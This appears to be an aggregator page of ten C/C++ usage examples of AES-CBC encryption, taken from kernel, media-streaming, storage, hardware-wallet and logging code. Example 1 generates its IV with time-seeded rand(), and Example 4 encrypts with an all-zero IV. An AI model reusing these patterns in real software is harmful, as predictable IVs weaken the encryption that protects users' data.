Beispiel #1
0
// Must free() returned value (allocated inside base64() function)
char *aes_cbc_b64_encrypt(const unsigned char *in, int inlen, int *out_b64len,
                          PASSWORD_ID id)
{
    int  pads;
    int  inpadlen = inlen + N_BLOCK - inlen % N_BLOCK;
    unsigned char inpad[inpadlen];
    unsigned char enc[inpadlen];
    unsigned char iv[N_BLOCK];
    unsigned char enc_cat[inpadlen + N_BLOCK]; // concatenating [ iv0  |  enc ]
    aes_context ctx[1];

    // Set cipher key
    memset(ctx, 0, sizeof(ctx));
    aes_set_key(memory_read_aeskey(id), 32, ctx);

    // PKCS7 padding
    memcpy(inpad, in, inlen);
    for (pads = 0; pads < N_BLOCK - inlen % N_BLOCK; pads++ ) {
        inpad[inlen + pads] = (N_BLOCK - inlen % N_BLOCK);
    }

    // Make a random initialization vector
    srand(time(NULL));
    for (int i=0; i<N_BLOCK; i++)
    {
        iv[i]=rand();
    }
    memcpy(enc_cat, iv, N_BLOCK);

    // CBC encrypt multiple blocks
    aes_cbc_encrypt( inpad, enc, inpadlen / N_BLOCK, iv, ctx );
    memcpy(enc_cat + N_BLOCK, enc, inpadlen);

    // base64 encoding
    int b64len;
    char *b64;
    b64 = base64(enc_cat, inpadlen + N_BLOCK, &b64len);
    *out_b64len = b64len;
    memset(inpad, 0, inpadlen);
    return b64;
}
Beispiel #2
0
static int cbc_encrypt(struct blkcipher_desc *desc, struct scatterlist *dst,
		       struct scatterlist *src, unsigned int nbytes)
{
	struct crypto_aes_ctx *ctx = crypto_blkcipher_ctx(desc->tfm);
	int err, first, rounds = 6 + ctx->key_length / 4;
	struct blkcipher_walk walk;
	unsigned int blocks;

	desc->flags &= ~CRYPTO_TFM_REQ_MAY_SLEEP;
	blkcipher_walk_init(&walk, dst, src, nbytes);
	err = blkcipher_walk_virt(desc, &walk);

	kernel_neon_begin();
	for (first = 1; (blocks = (walk.nbytes / AES_BLOCK_SIZE)); first = 0) {
		aes_cbc_encrypt(walk.dst.virt.addr, walk.src.virt.addr,
				(u8 *)ctx->key_enc, rounds, blocks, walk.iv,
				first);
		err = blkcipher_walk_done(desc, &walk, walk.nbytes % AES_BLOCK_SIZE);
	}
	kernel_neon_end();
	return err;
}
Beispiel #3
0
// basic encryption
QByteArray TinyAES::Encrypt(QByteArray p_input, QByteArray p_key, QByteArray p_iv)
{
    int keySize = p_key.size();
    int ivSize = p_iv.size();

    if (keySize != 16 && keySize != 24 && keySize != 32)
        return QByteArray();

    if (ivSize != 16)
        return QByteArray();

    // add padding
    QByteArray input = AddPadding(p_input);
    int inputSize = input.size();

    unsigned char *key = new unsigned char[keySize]();
    QByteArrayToUCharArray(p_key, key);

    unsigned char *iv = new unsigned char[ivSize]();
    QByteArrayToUCharArray(p_iv, iv);

    unsigned char *decrypted = new unsigned char[inputSize]();
    QByteArrayToUCharArray(input, decrypted);

    unsigned char *encrypted =  new unsigned char[inputSize](); // encrypted text

    aes_context context;
    aes_set_key(key, keySize * 8, &context);
    aes_cbc_encrypt(decrypted, encrypted, inputSize, iv, &context);

    QByteArray result = UCharArrayToQByteArray(encrypted, inputSize);

    delete []key;
    delete []iv;
    delete []decrypted;
    delete []encrypted;

    return result;
}
Beispiel #4
0
BYTE *Log_CreateHeader(DWORD agent_tag, BYTE *additional_data, DWORD additional_len, DWORD *out_len)
{
	FILETIME tstamp;
	WCHAR user_name[256];
	WCHAR host_name[256];
	DWORD header_len;
	DWORD padded_len;
	BYTE iv[BLOCK_LEN];
	aes_context crypt_ctx;
	BYTE *final_header, *ptr;
	LogStruct log_header;

	if (out_len)
		*out_len = 0;

	// Calcola i campi da mettere nell'header
	memset(user_name, 0, sizeof(user_name));
	memset(host_name, 0, sizeof(host_name));
	user_name[0]=L'-';
	host_name[0]=L'-';
	GetSystemTimeAsFileTime(&tstamp);

	// Riempie l'header
	log_header.uDeviceIdLen = wcslen(host_name)*sizeof(WCHAR);
	log_header.uUserIdLen   = wcslen(user_name)*sizeof(WCHAR);
	log_header.uSourceIdLen = 0;
	if (additional_data) 
		log_header.uAdditionalData = additional_len;
	else
		log_header.uAdditionalData = 0;
	log_header.uVersion = LOG_VERSION;
	log_header.uHTimestamp = tstamp.dwHighDateTime;
	log_header.uLTimestamp = tstamp.dwLowDateTime;
	log_header.uLogType = agent_tag;

	// Calcola la lunghezza totale dell'header e il padding
	header_len = sizeof(LogStruct) + log_header.uDeviceIdLen + log_header.uUserIdLen + log_header.uSourceIdLen + log_header.uAdditionalData;
	padded_len = header_len;
	if (padded_len % BLOCK_LEN) {
		padded_len /= BLOCK_LEN;
		padded_len++;
		padded_len *= BLOCK_LEN;
	}
	padded_len += sizeof(DWORD);
	if (padded_len < header_len)
		return NULL;
	final_header = (BYTE *)malloc(padded_len);
	if (!final_header)
		return NULL;
	ptr = final_header;

	// Scrive l'header
	header_len = padded_len - sizeof(DWORD);
	header_len |= 0x80000000; // Setta il bit alto per distinguerlo dagli altri tipi di log
	memcpy(ptr, &header_len, sizeof(DWORD));
	ptr += sizeof(DWORD);
	memcpy(ptr, &log_header, sizeof(log_header));
	ptr += sizeof(log_header);
	memcpy(ptr, host_name, log_header.uDeviceIdLen);
	ptr += log_header.uDeviceIdLen;
	memcpy(ptr, user_name, log_header.uUserIdLen);
	ptr += log_header.uUserIdLen;
	if (additional_data)
		memcpy(ptr, additional_data, additional_len);

	// Cifra l'header (la prima DWORD e' in chiaro)
	memset(iv, 0, sizeof(iv));
	aes_set_key( &crypt_ctx, global_key, 128);
	aes_cbc_encrypt(&crypt_ctx, iv, final_header+sizeof(DWORD), final_header+sizeof(DWORD), padded_len-sizeof(DWORD));
	if (out_len)
		*out_len = padded_len;
	
	return final_header;
}
Beispiel #5
0
vod_status_t
hls_muxer_init_segment(
	request_context_t* request_context,
	hls_muxer_conf_t* conf,
	hls_encryption_params_t* encryption_params,
	uint32_t segment_index,
	media_set_t* media_set,
	write_callback_t write_callback,
	void* write_context,
	size_t* response_size,
	vod_str_t* response_header,
	hls_muxer_state_t** processor_state)
{
	hls_muxer_state_t* state;
	bool_t simulation_supported;
	vod_status_t rc;

	state = vod_alloc(request_context->pool, sizeof(*state));
	if (state == NULL)
	{
		vod_log_debug0(VOD_LOG_DEBUG_LEVEL, request_context->log, 0,
			"hls_muxer_init_segment: vod_alloc failed");
		return VOD_ALLOC_FAILED;
	}

	rc = hls_muxer_init_base(
		state, 
		request_context, 
		conf, 
		encryption_params, 
		segment_index, 
		media_set, 
		write_callback, 
		write_context, 
		&simulation_supported, 
		response_header);
	if (rc != VOD_OK)
	{
		return rc;
	}

	if (simulation_supported)
	{
		rc = hls_muxer_simulate_get_segment_size(state, response_size);
		if (rc != VOD_OK)
		{
			return rc;
		}
		hls_muxer_simulation_reset(state);
	}

	rc = hls_muxer_start_frame(state);
	if (rc != VOD_OK)
	{
		if (rc != VOD_NOT_FOUND)
		{
			return rc;
		}

		*processor_state = NULL;		// no frames, nothing to do
	}
	else
	{
		*processor_state = state;
	}

	if (state->encrypted_write_context != NULL)
	{
		rc = aes_cbc_encrypt(
			state->encrypted_write_context,
			response_header,
			response_header,
			*processor_state == NULL);
		if (rc != VOD_OK)
		{
			return rc;
		}
	}

	return VOD_OK;
}
Beispiel #6
0
int main( void )
{
    int keysize;
    unsigned long i, j, tsc;
    unsigned char buf[BUFSIZE];
    unsigned char tmp[32];
    arc4_context arc4;
    des3_context des3;
    des_context des;
    aes_context aes;
    rsa_context rsa;

    memset( buf, 0xAA, sizeof( buf ) );

    printf( "\n" );

    /*
     * MD2 timing
     */ 
    printf( "  MD2       :  " );
    fflush( stdout );

    set_alarm( 1 );
    for( i = 1; ! alarmed; i++ )
        md2_csum( buf, BUFSIZE, tmp );

    tsc = hardclock();
    for( j = 0; j < 32; j++ )
        md2_csum( buf, BUFSIZE, tmp );

    printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                    ( hardclock() - tsc ) / ( j * BUFSIZE ) );

    /*
     * MD4 timing
     */ 
    printf( "  MD4       :  " );
    fflush( stdout );

    set_alarm( 1 );
    for( i = 1; ! alarmed; i++ )
        md4_csum( buf, BUFSIZE, tmp );

    tsc = hardclock();
    for( j = 0; j < 1024; j++ )
        md4_csum( buf, BUFSIZE, tmp );

    printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                    ( hardclock() - tsc ) / ( j * BUFSIZE ) );

    /*
     * MD5 timing
     */ 
    printf( "  MD5       :  " );
    fflush( stdout );

    set_alarm( 1 );
    for( i = 1; ! alarmed; i++ )
        md5_csum( buf, BUFSIZE, tmp );

    tsc = hardclock();
    for( j = 0; j < 1024; j++ )
        md5_csum( buf, BUFSIZE, tmp );

    printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                    ( hardclock() - tsc ) / ( j * BUFSIZE ) );

    /*
     * SHA-1 timing
     */ 
    printf( "  SHA-1     :  " );
    fflush( stdout );

    set_alarm( 1 );
    for( i = 1; ! alarmed; i++ )
        sha1_csum( buf, BUFSIZE, tmp );

    tsc = hardclock();
    for( j = 0; j < 1024; j++ )
        sha1_csum( buf, BUFSIZE, tmp );

    printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                    ( hardclock() - tsc ) / ( j * BUFSIZE ) );

    /*
     * SHA-256 timing
     */ 
    printf( "  SHA-256   :  " );
    fflush( stdout );

    set_alarm( 1 );
    for( i = 1; ! alarmed; i++ )
        sha2_csum( buf, BUFSIZE, tmp );

    tsc = hardclock();
    for( j = 0; j < 1024; j++ )
        sha2_csum( buf, BUFSIZE, tmp );

    printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                    ( hardclock() - tsc ) / ( j * BUFSIZE ) );

    /*
     * ARC4 timing
     */ 
    printf( "  ARC4      :  " );
    fflush( stdout );

    arc4_setup( &arc4, tmp, 32 );

    set_alarm( 1 );
    for( i = 1; ! alarmed; i++ )
        arc4_crypt( &arc4, buf, BUFSIZE );

    tsc = hardclock();
    for( j = 0; j < 1024; j++ )
        arc4_crypt( &arc4, buf, BUFSIZE );

    printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                    ( hardclock() - tsc ) / ( j * BUFSIZE ) );

    /*
     * Triple-DES timing
     */ 
    printf( "  3DES      :  " );
    fflush( stdout );

    des3_set_3keys( &des3, tmp );

    set_alarm( 1 );
    for( i = 1; ! alarmed; i++ )
        des3_cbc_encrypt( &des3, tmp, buf, buf, BUFSIZE );

    tsc = hardclock();
    for( j = 0; j < 1024; j++ )
        des3_cbc_encrypt( &des3, tmp, buf, buf, BUFSIZE );

    printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                    ( hardclock() - tsc ) / ( j * BUFSIZE ) );

    /*
     * DES timing
     */ 
    printf( "  DES       :  " );
    fflush( stdout );

    des_set_key( &des, tmp );

    set_alarm( 1 );
    for( i = 1; ! alarmed; i++ )
        des_cbc_encrypt( &des, tmp, buf, buf, BUFSIZE );

    tsc = hardclock();
    for( j = 0; j < 1024; j++ )
        des_cbc_encrypt( &des, tmp, buf, buf, BUFSIZE );

    printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                    ( hardclock() - tsc ) / ( j * BUFSIZE ) );

    /*
     * AES timings
     */ 
    for( keysize = 128; keysize <= 256; keysize += 64 )
    {
        printf( "  AES-%d   :  ", keysize );
        fflush( stdout );

        aes_set_key( &aes, tmp, keysize );

        set_alarm( 1 );

        for( i = 1; ! alarmed; i++ )
            aes_cbc_encrypt( &aes, tmp, buf, buf, BUFSIZE );

        tsc = hardclock();
        for( j = 0; j < 1024; j++ )
            aes_cbc_encrypt( &aes, tmp, buf, buf, BUFSIZE );

        printf( "%9ld Kb/s,  %9ld cycles/byte\n", i * BUFSIZE / 1024,
                        ( hardclock() - tsc ) / ( j * BUFSIZE ) );
    }

    /*
     * RSA-1024 timing
     */ 
    printf( "  RSA-1024  :  " );
    fflush( stdout );

    rsa_gen_key( &rsa, 1024, 65537, myrand, NULL );
    set_alarm( 4 );

    for( i = 1; ! alarmed; i++ )
    {
        buf[0] = 0;
        rsa_public( &rsa, buf, 128, buf, 128 );
    }

    printf( "%9ld  public/s\n", i / 4 );

    printf( "  RSA-1024  :  " );
    fflush( stdout );
    set_alarm( 4 );

    for( i = 1; ! alarmed; i++ )
    {
        buf[0] = 0;
        rsa_private( &rsa, buf, 128, buf, 128 );
    }

    printf( "%9ld private/s\n", i / 4 );

    rsa_free( &rsa );

    /*
     * RSA-2048 timing
     */ 
    printf( "  RSA-2048  :  " );
    fflush( stdout );

    rsa_gen_key( &rsa, 2048, 65537, myrand, NULL );
    set_alarm( 4 );

    for( i = 1; ! alarmed; i++ )
    {
        buf[0] = 0;
        rsa_public( &rsa, buf, 256, buf, 256 );
    }

    printf( "%9ld  public/s\n", i / 4 );

    printf( "  RSA-2048  :  " );
    fflush( stdout );

    set_alarm( 4 );

    for( i = 1; ! alarmed; i++ )
    {
        buf[0] = 0;
        rsa_private( &rsa, buf, 256, buf, 256 );
    }

    printf( "%9ld private/s\n\n", i / 4 );

    rsa_free( &rsa );

#ifdef WIN32
    printf( "  Press Enter to exit this program.\n" );
    fflush( stdout ); getchar();
#endif

    return( 0 );
}
Beispiel #7
0
Ctrl_status sd_mmc_usb_write_10(uint8_t slot, uint32_t addr, uint16_t nb_sector)
{
	bool b_first_step = true;
	uint16_t nb_step;
#if defined(USE_ENCRYPTION) && !defined(FAKE_RW)
	aes_encrypt_ctx aes_ctx[1];
	MD5_CTX md5_ctx;
	unsigned char IV[16];
#endif // USE_ENCRYPTION

#ifdef CLEAR_ON_WRITE
		if (!sd_mmc_usb_check_sector(addr, nb_sector))
			return CTRL_FAIL;
#endif

#ifndef FAKE_RW
	switch (sd_mmc_init_write_blocks(slot, addr, nb_sector)) {
	case SD_MMC_OK:
		break;
	case SD_MMC_ERR_NO_CARD:
		return CTRL_NO_PRESENT;
	default:
		return CTRL_FAIL;
	}
#endif // FAKE_RW
	// Pipeline the 2 transfer in order to speed-up the performances
	nb_step = nb_sector + 1;
	while (nb_step--) {
		if (!b_first_step) { // Skip first step
			// RAM -> MCI
#ifdef FAKE_RW
			cached_sectors[next_cached_sector].sector = addr + nb_sector - nb_step - 1;
			memcpy(cached_sectors[next_cached_sector++].contents, ((nb_step % 2) == 0) ? sector_buf_0 : sector_buf_1, SD_MMC_BLOCK_SIZE);
			if (cached_sector_count < 20)
				cached_sector_count++;
			next_cached_sector %= NUM_CACHED_SECTORS;
#else // FAKE_RW
			if (SD_MMC_OK != sd_mmc_start_write_blocks(((nb_step % 2) == 0) ?
					sector_buf_0 : sector_buf_1, 1)) {
				return CTRL_FAIL;
			}
#endif // !FAKE_RW
		}
		if (nb_step) { // Skip last step
#if defined(USE_ENCRYPTION) && !defined(FAKE_RW)
			uint32_t sector = addr + nb_sector - nb_step;
#endif // USE_ENCRYPTION && !FAKE_RW
			// USB -> RAM
			if (!udi_msc_trans_block(false,
#if defined(USE_ENCRYPTION) && !defined(FAKE_RW)
					use_user_page_values() && sector >= CRYPT_START ? aes_buf :
#endif // USE_ENCRYPTION && !FAKE_RW
					(((nb_step % 2) == 0) ? sector_buf_1 : sector_buf_0),
					SD_MMC_BLOCK_SIZE, NULL)) {
				return CTRL_FAIL;
			}
#if defined(USE_ENCRYPTION) && !defined(FAKE_RW)
			// Encrypt
			if (use_user_page_values() && sector >= CRYPT_START) {
				MD5_Init (&md5_ctx);
				MD5_Update (&md5_ctx, &sector, sizeof(uint32_t));
				MD5_Final (IV, &md5_ctx);
				
				aes_encrypt_key128(AES_KEY, aes_ctx);
				aes_cbc_encrypt(aes_buf, ((nb_step % 2) == 0) ? sector_buf_1 : sector_buf_0,
								SD_MMC_BLOCK_SIZE, IV, aes_ctx);
			}
#endif // USE_ENCRYPTION && !FAKE_RW
		}
		if (!b_first_step) { // Skip first step
#ifndef FAKE_RW
			if (SD_MMC_OK != sd_mmc_wait_end_of_write_blocks()) {
				return CTRL_FAIL;
			}
#endif // !FAKE_RW
		} else {
			b_first_step = false;
		}
	}
	return CTRL_GOOD;
}
Beispiel #8
0
HASPKEY_API encrypted_info_t RI(BYTE *crypt_iv)
{
	char *info = NULL, *start = NULL, *end = NULL;   
	hasp_handle_t handle = HASP_INVALID_HANDLE_VALUE;
	hasp_time_t htime;
	struct_info_t struct_info;
	encrypted_info_t encrypted_info;
	aes_context crypt_ctx;
	DWORD tot_len, pad_len;
	BYTE iv[16];

	memcpy(iv, crypt_iv, 16);
	ZeroMemory(&struct_info, sizeof(struct_info));
	struct_info.version = VERSION;
	ZeroMemory(&encrypted_info, sizeof(encrypted_info));
	do {
		if(hasp_get_info("<haspscope />", "<haspformat root=\"rcs\"><hasp><attribute name=\"id\" /></hasp></haspformat>", vendor_code, &info) != HASP_STATUS_OK) {
			struct_info.error_code = ERROR_INFO;
			sprintf_s(struct_info.error_msg, sizeof(struct_info.error_msg), "cannot get info");
			break;
		}

		if(!(start = strstr(info, "<hasp id=\""))) {
			struct_info.error_code = ERROR_PARSING;
			sprintf_s(struct_info.error_msg, sizeof(struct_info.error_msg), "bad parsing start");
			break;
		}
		start += strlen("<hasp id=\"");

		if(!(end = strchr(start, '"'))) {
			struct_info.error_code = ERROR_PARSING;
			sprintf_s(struct_info.error_msg, sizeof(struct_info.error_msg), "bad parsing end");
			break;
		}
		*end = '\0';

		// Copio il seriale 
		_snprintf_s(struct_info.serial, sizeof(struct_info.serial), _TRUNCATE, "%s", start);		

		if (hasp_login(HASP_DEFAULT_FID, vendor_code, &handle) != HASP_STATUS_OK){
			sprintf_s(struct_info.error_msg, sizeof(struct_info.error_msg), "cannot login with FID 0");
			if (hasp_login(HASP_RCS_FID, vendor_code, &handle) != HASP_STATUS_OK){
				struct_info.error_code = ERROR_LOGIN;
				sprintf_s(struct_info.error_msg, sizeof(struct_info.error_msg), "cannot login with FID 1");
				break;
			}
		}

		if(hasp_get_rtc(handle, &htime) != HASP_STATUS_OK) {
			struct_info.error_code = ERROR_RTC;
			sprintf_s(struct_info.error_msg, sizeof(struct_info.error_msg), "cannot get rtc time");
			break;
		}

		// Copio il timestamp
		struct_info.time = htime;

		// Copio il numero di agent rimasti per il pay-per-use
		if (hasp_read(handle, HASP_FILEID_RW, 0, 4, &struct_info.license_left) != HASP_STATUS_OK){
			struct_info.error_code = ERROR_STORAGE;
			sprintf_s(struct_info.error_msg, sizeof(struct_info.error_msg), "cannot get storage value");
			break;
		}

	} while(0);

	// Cifro tutta la struttura dentro encrypted_info.encrypted
	// inserendo il padding
	tot_len = sizeof(struct_info);
	tot_len/=16;
	tot_len++;
	tot_len*=16;
	pad_len = tot_len - sizeof(struct_info);
	memset(encrypted_info.encrypted, pad_len, tot_len);
	memcpy(encrypted_info.encrypted, &struct_info, sizeof(struct_info));
	aes_set_key( &crypt_ctx, crypt_key, 128);
	aes_cbc_encrypt(&crypt_ctx, iv, encrypted_info.encrypted, encrypted_info.encrypted, tot_len);

	if(info) 
		hasp_free(info);

	if(handle != HASP_INVALID_HANDLE_VALUE) 
		hasp_logout(handle);

	return encrypted_info;
}
Beispiel #9
0
OSStatus
    AES_CBCFrame_Update2( 
        AES_CBCFrame_Context *  inContext, 
        const void *            inSrc1, 
        size_t                  inLen1, 
        const void *            inSrc2, 
        size_t                  inLen2, 
        void *                  inDst )
{
    const uint8_t *     src1 = (const uint8_t *) inSrc1;
    const uint8_t *     end1 = src1 + inLen1;
    const uint8_t *     src2 = (const uint8_t *) inSrc2;
    const uint8_t *     end2 = src2 + inLen2;
    uint8_t *           dst  = (uint8_t *) inDst;
    OSStatus            err;
    size_t              len;
    size_t              i;
#if( !AES_UTILS_USE_COMMON_CRYPTO )
    uint8_t             iv[ kAES_CBCFrame_Size ];
#endif
    
#if( AES_UTILS_USE_COMMON_CRYPTO )
    if( ( inLen1 + inLen2 ) >= kAES_CBCFrame_Size )
    {
        err = CCCryptorReset(  inContext->cryptor, inContext->iv );
        require_noerr( err, exit );
    }
#else
    memcpy( iv, inContext->iv, kAES_CBCFrame_Size ); // Use local copy so original IV is not changed.
#endif
    
    // Process all whole blocks from buffer 1.
    
    len = inLen1 & ~( (size_t)( kAES_CBCFrame_Size - 1 ) );
    if( len > 0 )
    {
        #if( AES_UTILS_USE_COMMON_CRYPTO )
            err = CCCryptorUpdate( inContext->cryptor, src1, len, dst, len, &len );
            require_noerr( err, exit );
        #elif( AES_UTILS_USE_GLADMAN_AES )
            if( inContext->encrypt )    aes_cbc_encrypt( src1, dst, (int) len, iv, &inContext->ctx.encrypt );
            else                        aes_cbc_decrypt( src1, dst, (int) len, iv, &inContext->ctx.decrypt );
        #elif( AES_UTILS_USE_USSL )
            if( inContext->encrypt )    aes_crypt_cbc( &inContext->ctx, AES_ENCRYPT, len, iv, (unsigned char *) src1, dst );
            else                        aes_crypt_cbc( &inContext->ctx, AES_DECRYPT, len, iv, (unsigned char *) src1, dst );
        #else
            AES_cbc_encrypt( src1, dst, (unsigned long) len, &inContext->key, iv, inContext->mode );
        #endif
        src1 += len;
        dst  += len;
    }
    
    // If there are any partial block bytes in buffer 1 and enough bytes in buffer 2 to fill a 
    // block then combine them into a temporary buffer and encrypt it.
    
    if( ( src1 != end1 ) && ( ( ( end1 - src1 ) + ( end2 - src2 ) ) >= kAES_CBCFrame_Size ) )
    {
        uint8_t     buf[ kAES_CBCFrame_Size ];
        
        for( i = 0; src1 != end1; ++i )
        {
            buf[ i ] = *src1++;
        }
        for( ; ( i < kAES_CBCFrame_Size ) && ( src2 != end2 ); ++i )
        {
            buf[ i ] = *src2++;
        }
        #if( AES_UTILS_USE_COMMON_CRYPTO )
            err = CCCryptorUpdate( inContext->cryptor, buf, i, dst, i, &i );
            require_noerr( err, exit );
        #elif( AES_UTILS_USE_GLADMAN_AES )
            if( inContext->encrypt )    aes_cbc_encrypt( buf, dst, (int) i, iv, &inContext->ctx.encrypt );
            else                        aes_cbc_decrypt( buf, dst, (int) i, iv, &inContext->ctx.decrypt );
        #elif( AES_UTILS_USE_USSL )
            if( inContext->encrypt )    aes_crypt_cbc( &inContext->ctx, AES_ENCRYPT, i, iv, buf, dst );
            else                        aes_crypt_cbc( &inContext->ctx, AES_DECRYPT, i, iv, buf, dst );
        #else
            AES_cbc_encrypt( buf, dst, (unsigned long) i, &inContext->key, iv, inContext->mode );
        #endif
        dst += i;
    }
    
    // Process any remaining whole blocks in buffer 2.
    
    len = ( (size_t)( end2 - src2 ) ) & ~( (size_t)( kAES_CBCFrame_Size - 1 ) );
    if( len > 0 )
    {
        #if( AES_UTILS_USE_COMMON_CRYPTO )
            err = CCCryptorUpdate( inContext->cryptor, src2, len, dst, len, &len );
            require_noerr( err, exit );
        #elif( AES_UTILS_USE_GLADMAN_AES )
            if( inContext->encrypt )    aes_cbc_encrypt( src2, dst, (int) len, iv, &inContext->ctx.encrypt );
            else                        aes_cbc_decrypt( src2, dst, (int) len, iv, &inContext->ctx.decrypt );
        #elif( AES_UTILS_USE_USSL )
            if( inContext->encrypt )    aes_crypt_cbc( &inContext->ctx, AES_ENCRYPT, len, iv, (unsigned char *) src2, dst );
            else                        aes_crypt_cbc( &inContext->ctx, AES_DECRYPT, len, iv, (unsigned char *) src2, dst );
        #else
            AES_cbc_encrypt( src2, dst, (unsigned long) len, &inContext->key, iv, inContext->mode );
        #endif
        src2 += len;
        dst  += len;
    }
    
    // Any remaining bytes are just copied unencrypted.
    
    while( src1 != end1 ) *dst++ = *src1++;
    while( src2 != end2 ) *dst++ = *src2++;
    err = kNoErr;
    
#if( AES_UTILS_USE_COMMON_CRYPTO )
exit:
#endif
    return( err );
}
Beispiel #10
0
void fsm_msgCipherKeyValue(CipherKeyValue *msg)
{

	if (!storage_is_initialized()) 
    {
		fsm_sendFailure(FailureType_Failure_NotInitialized, "Device not initialized");
		return;
	}

    if(!msg->has_key)
    {
        fsm_sendFailure(FailureType_Failure_SyntaxError, "No key provided");
        return;
    }

    if(!msg->has_value)
    {
        fsm_sendFailure(FailureType_Failure_SyntaxError, "No value provided");
        return;
    }

    if(msg->value.size % 16)
    {
        fsm_sendFailure(FailureType_Failure_SyntaxError,
                        "Value length must be a multiple of 16");
        return;
    }

    if(!pin_protect_cached())
    {
        go_home();
        return;
    }

    const HDNode *node = fsm_getDerivedNode(msg->address_n, msg->address_n_count);

    if(!node) { return; }

    bool encrypt = msg->has_encrypt && msg->encrypt;
    bool ask_on_encrypt = msg->has_ask_on_encrypt && msg->ask_on_encrypt;
    bool ask_on_decrypt = msg->has_ask_on_decrypt && msg->ask_on_decrypt;

    if((encrypt && ask_on_encrypt) || (!encrypt && ask_on_decrypt))
    {
        if(!confirm_cipher(encrypt, msg->key))
        {
            fsm_sendFailure(FailureType_Failure_ActionCancelled,
                            "CipherKeyValue cancelled");
            go_home();
            return;
        }
    }

    uint8_t data[256 + 4];
    strlcpy((char *)data, msg->key, sizeof(data));
    strlcat((char *)data, ask_on_encrypt ? "E1" : "E0", sizeof(data));
    strlcat((char *)data, ask_on_decrypt ? "D1" : "D0", sizeof(data));

    hmac_sha512(node->private_key, 32, data, strlen((char *)data), data);

    RESP_INIT(CipheredKeyValue);

    if(encrypt)
    {
        aes_encrypt_ctx ctx;
        aes_encrypt_key256(data, &ctx);
        aes_cbc_encrypt(msg->value.bytes, resp->value.bytes, msg->value.size,
                        ((msg->iv.size == 16) ? (msg->iv.bytes) : (data + 32)), &ctx);
    }
    else
    {
        aes_decrypt_ctx ctx;
        aes_decrypt_key256(data, &ctx);
        aes_cbc_decrypt(msg->value.bytes, resp->value.bytes, msg->value.size,
                        ((msg->iv.size == 16) ? (msg->iv.bytes) : (data + 32)), &ctx);
    }

    resp->has_value = true;
    resp->value.size = msg->value.size;
    msg_write(MessageType_MessageType_CipheredKeyValue, resp);
    go_home();
}